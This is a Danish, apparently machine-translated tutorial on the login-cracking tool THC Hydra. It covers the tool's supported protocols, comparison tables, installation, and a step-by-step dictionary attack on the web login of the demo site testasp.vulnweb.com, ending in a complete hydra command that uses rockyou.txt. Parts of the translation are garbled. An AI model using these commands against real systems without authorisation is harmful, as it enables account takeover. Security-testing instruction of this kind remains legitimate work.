En adgangskode er teknisk defineret som en hemmelig streng af tegn, der bruges til at godkende eller få adgang til ressourcer. Det skal holdes hemmeligt og skjules for andre, der ikke har adgang til disse ressourcer. Adgangskoder har været brugt med computere siden de tidligste computerdage. Et af første gang delingssystemer blev introduceret i 1961. Det havde en login -kommando, der anmodede om en brugeradgangskode. Efter at have skrevet PASSWORD slukker systemet om muligt udskrivningsmekanismen, så brugeren kan indtaste sin adgangskode med fortrolighed.
Kodeordets styrke er en funktion af længde, kompleksitet og uforudsigelighed. Det måler effektiviteten i at modstå at gætte eller bryde det. Svage adgangskoder, derimod, forkorter den tid, der er nødvendig for at gætte og få adgang til personlige/virksomheders e-mails, følsomme data som finansielle oplysninger, forretningsoplysninger, kreditkort osv.
Der er mange måder, hvorpå et kodeord kan være svagt svarende til styrkerne ved forskellige angrebssystemer. Det mest populære af denne form for legitimationsangreb er brutal kraft. det er en forsøgs- og fejlmetode som gætte, forsøg på at afkode krypterede data, f.eks. adgangskode eller datakryptering, der bruges af applikationsprogram eller hackingværktøj.
Hydra er den hurtigste netværkslogon -krakker, der understøtter adskillige angrebsprotokoller. Det er meget hurtigt og fleksibelt, og nye moduler er nemme at tilføje. Dette værktøj gør det muligt for forskere og sikkerhedskonsulenter at vise, hvor let det ville være at få uautoriseret adgang til et system eksternt. Hydra blev skrevet af van Hauser og blev understøttet af David Maciejak. I den seneste opdatering flyttes hydra-udviklingen til det offentlige github-depot på: https://github.com/vanhauser-thc/thc-hydra.
Hydra blev testet til at kompilere på Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry, og gøres tilgængelig under GPLv3 med en særlig OpenSSL -licensudvidelse.
THC Hydra understøtter disse protokoller: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 og v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC og XMPP.
SAMMENLIGNING AF HYDRA MED ANDRE KRAKTEVÆRKTØJ
Der er også mange login -cracker -værktøjer ved siden af hydra, men ingen understøtter en enorm liste over protokoller og paralleliseret login -cracker -support som hydra gør. Tabellerne nedenfor viser resultatet af funktioner, tjenester og hastighedssammenligning mod medusa og ncrack.
Funktioner
Funktion | Hydra | vandmand | Ncrack |
Licens | AGPLv3 | GPLv2 | GPLv2 + Nmap -vilkår |
IPv6 -understøttelse | Ja | Ingen | Ingen |
Grafisk brugergrænseflade | Ja | Ja | Ingen |
Internationaliseret support (RFC 4013) | Ja | Ingen | Ingen |
Understøttelse af HTTP -proxy | Ja | Ja | Ingen |
SOCKS proxy support | Ja | Ingen | Ingen |
Understøttede protokoller | 51 | 22 | 7 |
Services
Service | detaljer | Hydra | vandmand | Ncrack |
ADAM-6500 | Ja | Ingen | Ingen | |
AFP | Ja | Ja | Ingen | |
Stjerne | Ja | Ingen | Ingen | |
Cisco -adgangskode | Ja | Ingen | Ingen | |
Cisco Aktiver | Ja | Ingen | Ingen | |
CVS | Ja | Ja | Ingen | |
Ildfugl | Ja | Ingen | Ingen | |
FTP | Ja | Ja | Ja | |
SSL -understøttelse | AUTH TLS & FTP over SSL | AUTH TLS & FTP over SSL | Ingen | |
HTTP | Metoder) | FÅ, Hoved, post | FÅ | FÅ |
Grundlæggende godkendelse | Ja | Ja | Ja | |
HTTP -formular | Metoder) | FÅ, POST | FÅ, POST | Ingen |
SSL -understøttelse | HTTPS | HTTPS | Ingen | |
HTTP -proxy | Grundlæggende godkendelse | Ja | Ingen | Ingen |
DIGEST-MD5 Auth | Ja | Ingen | Ingen | |
NTLM -godkendelse | Ja | Ingen | Ingen | |
SSL -understøttelse | HTTPS | Ingen | Ingen | |
HTTP PROXY URL -optælling | Ja | Ingen | Ingen | |
ICQ | v5 | Ja 1 | Ingen | Ingen |
IMAP | LOGIN support | Ja | Ja | Ingen |
AUTH LOGIN support | Ja | Ingen | Ingen | |
AUTH PLAIN -understøttelse | Ja | Ja | Ingen | |
AUTH CRAM-MD5 support | Ja | Ingen | Ingen | |
AUTH CRAM-SHA1 support | Ja | Ingen | Ingen | |
AUTH CRAM-SHA256 support | Ja | Ingen | Ingen | |
AUTH DIGEST-MD5 support | Ja | Ingen | Ingen | |
AUTH NTLM -understøttelse | Ja | Ja | Ingen | |
AUTH SCRAM-SHA1 support | Ja | Ingen | Ingen | |
SSL -understøttelse | IMAPS & STARTTLS | IMAPS & STARTTLS | Ingen | |
IRC | Generelt serveradgangskode | Ja | Ingen | Ingen |
OPER mode adgangskode | Ja | Ingen | Ingen | |
LDAP | v2, enkel support | Ja | Ingen | Ingen |
v3, enkel support | Ja | Ingen | Ingen | |
v3, AUTH CRAM-MD5 support | Ja | Ingen | Ingen | |
AUTH DIGEST-MD5 support | Ja | |||
AUTH NTLM -understøttelse | Ja | Ja | ||
AUTH SCRAM-SHA1 support | Ja | |||
SSL -understøttelse | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Generelt serveradgangskode | Ja | ||
OPER mode adgangskode | Ja | |||
LDAP | v2, enkel support | Ja | ||
v3, enkel support | Ja | |||
v3, AUTH CRAM-MD5 support | Ja | |||
v3, AUTH DIGEST-MD5 support | Ja | |||
MS-SQL | Ja | Ja | ||
MySQL | v3.x | Ja | Ja | |
v4.x | Ja | Ja | ||
v5.x | Ja | Ja | ||
NCP | Ja | Ja | ||
NNTP | BRUGER support | Ja | Ja | |
AUTH LOGIN support | Ja | |||
AUTH PLAIN -understøttelse | Ja | |||
AUTH CRAM-MD5 support | Ja | |||
AUTH DIGEST-MD5 support | Ja | |||
AUTH NTLM -understøttelse | Ja | |||
SSL -understøttelse | STARTTLS & NNTP over SSL | |||
Oracle | Database | Ja | Ja | |
TNS -lytter | Ja | |||
SID Opregning | Ja | |||
PC-NFS | Ja | |||
pcAnywhere | Indfødt godkendelse | Ja | Ja | |
OS -baseret godkendelse (MS) | Ja | |||
POP3 | BRUGER support | Ja | Ja | Ja |
APOP support | Ja | |||
AUTH LOGIN support | Ja | Ja | ||
AUTH PLAIN -understøttelse | Ja | Ja | ||
AUTH CRAM-MD5 support | Ja | |||
AUTH CRAM-SHA1 support | Ja | |||
AUTH CRAM-SHA256 support | Ja | |||
AUTH DIGEST-MD5 support | Ja | |||
AUTH NTLM -understøttelse | Ja | Ja | ||
SSL -understøttelse | POP3S & STARTTLS | POP3S & STARTTLS | POP3S | |
PostgreSQL | Ja | Ja | ||
Stjerne | Ja | |||
RDP | Windows arbejdsstation | Ja | Ja | Ja |
Windows Server | Ja | Ja | ||
Domæne godkendelse | Ja | Ja | ||
REDIS | Ja | Ingen | ||
REXEC | Ja | Ja | ||
RLOGIN | Ja | Ja | ||
RPCAP | Ja | Ingen | ||
RSH | Ja | Ja | ||
RTSP | Ja | Ingen | ||
SAP R / 3 | Ja | |||
Siemens S7-300 | Ja | |||
nippe til | Ja | |||
SSL -understøttelse | SIP over SSL | |||
SMB | NetBIOS -tilstand | Ja | Ja | Ingen |
W2K indfødt tilstand | Ja | Ja | Ja | |
Hash -tilstand | Ja | Ja | Ingen | |
Slet tekstgodkendelse | Ja | Ja | ||
LMv1 Auth | Ja | Ja | Ja | |
LMv2 Auth | Ja | Ja | Ja | |
NTLMv1 Auth | Ja | Ja | Ja | |
NTLMv2 Auth | Ja | Ja | Ja | |
SMTP | AUTH LOGIN support | Ja | Ja | |
AUTH PLAIN -understøttelse | Ja | Ja | ||
AUTH CRAM-MD5 support | Ja | |||
AUTH DIGEST-MD5 support | Ja | |||
AUTH NTLM -understøttelse | Ja | Ja | ||
SSL -understøttelse | SMTPS & STARTTLS | SMTPS & STARTTLS | ||
SMTP -brugerum | VRFY cmd | Ja | Ja | |
EXPN cmd | Ja | Ja | ||
RCPT TIL cmd | Ja | Ja | ||
SNMP | v1 | Ja | Ja | |
v2c | Ja | Ja | ||
v3 | (Kun MD5/SHA1 -godkendelse) | |||
SOKKER | v5, Password Auth | Ja | ||
SSH | v1 | Ja | ||
v2 | Ja | Ja | Ja | |
SSH -taster | v1, v2 | Ja | ||
Subversion (SVN) | Ja | Ja | ||
Gruppe samtale | TS2 | Ja | ||
Telnet | Ja | Ja | Ja | |
XMPP | AUTH LOGIN support | Ja | ||
AUTH PLAIN -understøttelse | Ja | |||
AUTH CRAM-MD5 support | Ja | |||
AUTH DIGEST-MD5 support | Ja | |||
AUTH SCRAM-SHA1 support | Ja | |||
VMware Auth Daemon | v1.00 / v1.10 | Ja | Ja | |
SSL -understøttelse | Ja | Ja | ||
VNC | RFB 3.x adgangskodeunderstøttelse | Ja | Ja | |
RFB 3.x bruger+adgangskode support | (Kun UltraVNC) | |||
RFB 4.x adgangskodeunderstøttelse | Ja | Ja | ||
RFB 4.x bruger+adgangskode support | (Kun UltraVNC) |
Hastigheds sammenligning
Hastighed (i) | Hydra | vandmand | Ncrack |
1 Opgave / FTP -modul | 11,93 | 12,97 | 18.01 |
4 Opgaver / FTP -modul | 4,20 | 5.24 | 9.01 |
16 Opgaver / FTP -modul | 2,44 | 2,71 | 12.01 |
1 Opgave / SSH v2 -modul | 32,56 | 33,84 | 45.02 |
4 Opgaver / SSH v2 -modul | 10,95 | Gået i stykker | Savnet |
16 Opgaver / SSH v2 -modul | 5.14 | Gået i stykker | Savnet |
Det var en kort enkel introduktion til hydra. Lad os nu gå videre til installationen.
INSTALLATION AF HYDRA
Hydra er forudinstalleret på kali linux, men hvis du har et andet operativsystem, kan du kompilere og installere det på dit system. I øjeblikket understøtter hydra support på forskellige platforme:
- Alle UNIX -platforme (Linux, *bsd, Solaris osv.)
- MacOS (dybest set en BSD -klon)
- Windows med Cygwin (både IPv4 og IPv6)
- Mobilsystemer baseret på Linux, MacOS eller QNX (f.eks. Android, iPhone, Blackberry 10, Zaurus, iPaq)
For at downloade, konfigurere, kompilere og installere hydra skal du bare skrive i terminalen:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Hvis du har Ubuntu/Debian, skal du bruge nogle afhængighedsbiblioteker:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Hvis du ikke kunne finde disse biblioteker i dit lager, skal du downloade og installere dem manuelt.
SÅDAN SKAL DU BRUGE HYDRA
Tillykke, nu er det lykkedes at installere hydra på dit system. Faktisk kommer Hydra med to varianter, GUI-gtk og min favorit, CLI-version. og derudover har hydra også CLI-guidet version, den kaldes hydra-wizard. Du bliver guidet trin for trin i stedet for at indtaste alle kommandoer eller argumenter manuelt i terminalen. For at køre hydra, fra din terminal type:
Til CLI:
hydra
Til CLI-guiden:
hydra-wizard
Til GUI:
xhydra
Når du har skrevet 'hydra', viser den hjælpekommandoer som denne:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Bruteforce webbaseret login med hydra
Hydra understøtter nogle bruteforcing-tjenester, som jeg nævnte tidligere, en af dem er vant til at bruteforce web-baserede logins som f.eks. Sociale medier-loginformular, brugerbank-loginformular, din router webbaseret login osv. Denne http [s] -get-form som vil håndtere denne anmodning. I denne vejledning vil jeg vise dig, hvordan du bruteforce sårbare web -login. Inden vi fyrer hydra op, bør vi kende nogle nødvendige argumenter som herunder:
- Mål : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Login brugernavn : admin (hvis du ikke er sikker, skal du gøre dette brutalt)
- Kodeordsliste : Placeringen af ordbogsliste med mulige adgangskoder.
- Formparametre : Generelt skal du bruge manipulationsdata eller proxy til at få form for anmodningsparametre. Men her bruger jeg iceweasel, firefox -baseret, værktøjslinje til netværksudvikler.
- Servicemodul : http-post-formular
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Hentning af indlægsparametre ved hjælp af browser, iceweasel/firefox
Tryk på tasterne 'i din Firefox -browser' CTRL + SKIFT + Q '. Åbn derefter webloginsidenhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, vil du bemærke, at der vises tekst på fanen Netværksudvikler. Det fortæller dig, hvilke filer der overføres til os. Se metoden er alle GET, da vi ikke har POST nogen data endnu.
For at få parametrene efter formularen skal du skrive hvad som helst i brugernavn og eller adgangskodeformularen. Du vil bemærke en ny POST -metode på fanen Netværksudvikler. Dobbeltklik på den linje, på fanen Overskrifter skal du klikke på knappen Rediger og send igen i højre side. På Request Body kopierer du den sidste linje, f.eks tfUName = asu & tfUPass = raimu . det tfUName og tfUPass er parametre, vi har brug for. Som det ses herunder:
Kali linux har masser af ordlister, vælg den passende ordliste eller bare brug rockyou.txt sted i /usr/share/wordlists/ som det ses herunder:
Okay, nu har vi alle de argumenter, vi har brug for, og klar til at fyre hydra op. Her er kommandomønsteret:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Lad os nedbryde kommandoerne:
- det : er et ord, der indeholder brugernavn konto, brug -L til at referere liste over mulige brugernavn i en fil.
- P : er en filliste med mulig adgangskode, brug -p til bogstaveligt talt at bruge ét ords adgangskode i stedet for at gætte det.
- testapp.vunlwebapp.com : er et værtsnavn eller mål
- http-post-formular : er det servicemodul, vi bruger
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = de 3 nødvendige parametre, er syntaksen:
{side URL}: {Anmod om parametre for posttekstformular}: S = {Find hvad som helst på siden, efter at du er logget ind} - v = Omfattende tilstand
- V = vis login: pas for hvert forsøg
- f = Afslut program, hvis par -login: adgangskode er fundet
Lad os nu lade hydra prøve at bryde adgangskoden for os, det har brug for tid, da det er et ordbogsangreb. Når du lykkes med at finde et par login: password hydra afslutter straks jobbet og viser den gyldige legitimationsoplysninger.
Der er så meget, som hydra kunne gøre, da vi i denne vejledning lige lærte, hvordan man bruteforce webbaseret logon ved hjælp af hydra, vi lærer kun en protokol, det er http-post-form-protokol. Vi kan også bruge hydra mod en anden protokol som ssh, ftp, telnet, VNC, proxy osv.